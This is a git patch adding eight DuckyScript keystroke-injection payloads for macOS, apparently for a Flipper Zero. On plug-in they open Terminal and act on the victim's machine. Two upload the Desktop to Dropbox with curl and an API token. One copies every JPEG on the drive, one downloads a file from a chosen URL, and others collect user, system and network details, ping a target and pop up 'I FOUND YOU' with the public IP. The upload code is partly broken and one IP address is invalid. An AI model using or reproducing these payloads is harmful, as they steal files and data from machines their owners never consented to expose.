From 03d7b90e7368a08b9f6145290d02c894fcb19465 Mon Sep 17 00:00:00 2001 From: Narsty Date: Mon, 15 May 2023 23:34:16 -0500 Subject: [PATCH] Add files via upload --- RECON/Copy All JPEG Images .txt | 20 +++++++++++++ RECON/Desktop Data Upload copy.txt | 45 +++++++++++++++++++++++++++++ RECON/Desktop Data Upload .txt | 18 ++++++++++++ RECON/File hijacker.txt | 22 ++++++++++++++ RECON/Network Recon +.txt | 29 +++++++++++++++++++ RECON/Network Reconnaissance.txt | 44 ++++++++++++++++++++++++++++ RECON/Public I.P. Finder.txt | 26 +++++++++++++++++ RECON/SysNet Info.txt | 20 +++++++++++++ 8 files changed, 224 insertions(+) create mode 100644 RECON/Copy All JPEG Images .txt create mode 100644 RECON/Desktop Data Upload copy.txt create mode 100644 RECON/Desktop Data Upload .txt create mode 100644 RECON/File hijacker.txt create mode 100644 RECON/Network Recon +.txt create mode 100644 RECON/Network Reconnaissance.txt create mode 100644 RECON/Public I.P. Finder.txt create mode 100644 RECON/SysNet Info.txt diff --git a/RECON/Copy All JPEG Images .txt b/RECON/Copy All JPEG Images .txt new file mode 100644 index 0000000..43cfa2a --- /dev/null +++ b/RECON/Copy All JPEG Images .txt @@ -0,0 +1,20 @@ +REM This script opens the terminal. +REM It searches for all JPEG image files located on the entire hard drive. +REM It copies the found JPEG images to a folder named "Images" in the destination of your choice. + +REM Author: Narsty +REM Title: Copy All JPEG Images +REM Target: MacOS +REM Version: 1.0 +REM Category: + +DELAY 300 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 1000 +STRING find / -type f -iname "*.jpeg" -exec cp {} ~/Insert Destination here /Images/ \; +DELAY 2000 +ENTER diff --git a/RECON/Desktop Data Upload copy.txt b/RECON/Desktop Data Upload copy.txt new file mode 100644 index 0000000..947efae --- /dev/null +++ b/RECON/Desktop Data Upload copy.txt @@ -0,0 +1,45 @@ +REM Author: Narsty +REM Title: Desktop Data Upload +REM Version 1.0 MacOs + +REM Copy and paste this osascript/code into the Script editor App on your MacOs +REM Replace the "Your API token Here" placeholder with your actual Dropbox API token +REM Save this script below as DTDUpload.scpt file (you can use Script Editor) to your desktop. + + +osascript -e 'tell application "Script Editor" + set desktopPath to POSIX path of (path to desktop folder) + set dropboxAPIPath to "Your API token Here" + set apiEndpointURL to "https://api.dropboxapi.com/2/files/upload" + set uploadScript to "curl -X POST \"" & apiEndpointURL & "\" " & ¬ + "-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬ + "-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/Desktop/$(basename " & desktopPath & "), \\\"mode\\\": \\\"overwrite\\\"}\" " & ¬ + "-H \"Content-Type: application/octet-stream\" " & ¬ + "-d @\"" & desktopPath & "\"" + do shell script uploadScript +end tell' + +REM Title: Desktop Data Upload Execution Script +REM Version 1.0 MacOs + +REM Save the below Ducky Script as a .txt file (main Read.me has step by step directions) +REM and put the .txt on your flipper zero to execute the osascript through the terminal. + + +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING cd ~/Desktop +ENTER +DELAY 500 +STRING osascript DTDUpload.scpt +ENTER + + + + + diff --git a/RECON/Desktop Data Upload .txt b/RECON/Desktop Data Upload .txt new file mode 100644 index 0000000..abb564e --- /dev/null +++ b/RECON/Desktop Data Upload .txt @@ -0,0 +1,18 @@ +REM Author: Narsty +REM Title: Desktop Data Upload +REM Version 1.0 MacOs + + + +osascript -e 'tell application "Script Editor" + set desktopPath to POSIX path of (path to desktop folder) + set dropboxAPIPath to "Your API token Here" + set uploadScript to "curl -X POST 'URL of the Dropbox API endpoint' \ + -H 'Authorization: Bearer " & dropboxAPIPath & "' \ + -H 'Dropbox-API-Arg: {\"path\": \"/Desktop/$(basename \\\"" & desktopPath & "\\\"), \\\"mode\\\": \\\"overwrite\\\"}' \ + -H 'Content-Type: application/octet-stream' \ + --data-binary @\"" & desktopPath & "\"" + do shell script uploadScript +end tell' + + diff --git a/RECON/File hijacker.txt b/RECON/File hijacker.txt new file mode 100644 index 0000000..8e3aee3 --- /dev/null +++ b/RECON/File hijacker.txt @@ -0,0 +1,22 @@ + +REM Author: Narsty +REM Title: file hijacker +REM Version 1.0 MacOs + +REM Replace with the actual URL for the file you want to download. +REM Additionally, replace file.ext with the desired name and extension for the downloaded file. + + +DELAY 2000 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 2000 +STRING curl -o "file.ext" "Enter dropbox File URL here" +ENTER + + +REM It's crucial to use scripting and automation tools responsibly, following legal and ethical guidelines, and only for legitimate purposes. + diff --git a/RECON/Network Recon +.txt b/RECON/Network Recon +.txt new file mode 100644 index 0000000..499a6be --- /dev/null +++ b/RECON/Network Recon +.txt @@ -0,0 +1,29 @@ +REM Scans for live hosts on the network using ping. +REM Performs port scanning to identify open ports on target hosts. +REM Gathers information about target hosts using WHOIS and DNS lookups. +REM Conducts traceroute to trace the network path to a destination. +REM Provides a comprehensive report for security testing and analysis. + + +REM Author: Narsty +REM Title: Recon + +REM Version: 1.0 +REM Target: MacOs + +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING networksetup -listallhardwareports +ENTER +DELAY 1000 +STRING ifconfig +ENTER +DELAY 1000 +STRING arp -a +ENTER + + diff --git a/RECON/Network Reconnaissance.txt b/RECON/Network Reconnaissance.txt new file mode 100644 index 0000000..b5e074c --- /dev/null +++ b/RECON/Network Reconnaissance.txt @@ -0,0 +1,44 @@ +REM Use responsibly and with proper permissions. + +REM This script initiates a network reconnaissance by scanning for live hosts, +REM performing a port scan on live hosts, + + +REM Author: Narsty +REM Title: Network Reconnaissance +REM Target: MacOS +REM Version: 1.0 +REM Category: Execution + +REM Replace (15.151.298.31) with your targets I.P. address + +REM can insert multiple I.p.'s if needed + +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING echo "Network Reconnaissance:" +STRING && echo "------------------------------" +STRING && echo "Scan Date: $(date)" +STRING && echo "------------------------------" +STRING && echo "Scanning for Live Hosts..." +STRING && echo "------------------------------" +STRING && ping -c 3 15.151.298.31 +STRING && ping -c 3 15.151.298.31 +REM Add more IP addresses to ping as needed +STRING && echo "------------------------------" +STRING && echo "Performing ARP Scan..." +STRING && echo "------------------------------" +STRING && arp -a +ENTER + + + + + + + diff --git a/RECON/Public I.P. Finder.txt b/RECON/Public I.P. Finder.txt new file mode 100644 index 0000000..787c3d2 --- /dev/null +++ b/RECON/Public I.P. Finder.txt @@ -0,0 +1,26 @@ +REM Title: Public I.P. Finder +REM Author: Narsty +REM Description: Uses Mac Terminals config.me command to do a PUBLIC I.P. lookup +REM displays the results in a pop up window & Saves the data to a folder on the desktop +REM Folder is named "Public I.P. Data" +REM Target: MacOS +REM Version: 1.0 +REM Category: Execution + +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +STRING curl -s ifconfig.me; echo +DELAY 500 +ENTER +DELAY 500 +STRING public_ip=$(curl -s ifconfig.me); osascript -e "tell app \"System Events\" to display dialog \"I FOUND YOU: $public_ip\" with title \"Public IP Address\"" +DELAY 500 +STRING && mkdir ~/Desktop/"Public I.P. Data" && echo "Your TARGETS IP address is: $public_ip" > ~/Desktop/"Public I.P. Data"/public_ip.txt +DELAY 500 +ENTER + + diff --git a/RECON/SysNet Info.txt b/RECON/SysNet Info.txt new file mode 100644 index 0000000..171d609 --- /dev/null +++ b/RECON/SysNet Info.txt @@ -0,0 +1,20 @@ +REM User Information: Includes the username, home directory, and user ID. +REM System Information: Displays details about the operating system. +REM Network Information: Shows network interface information IP address. +REM File and Directory Permissions: Provides permissions and ownership details of files and directories. + +REM Author: Narsty +REM Title: SysNet Info +REM Target: MacOS +REM Version: 1.0 +REM Category: Execution + +DELAY 500 +GUI SPACE +DELAY 1000 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING echo "User Information:" && echo "Username: $(whoami)" && echo "Home Directory: $HOME" && echo "User ID: $(id -u)" && echo && echo "System Information:" && uname -a && echo && echo "Network Information:" && ifconfig && echo && echo "File and Directory Permissions:" && ls -l +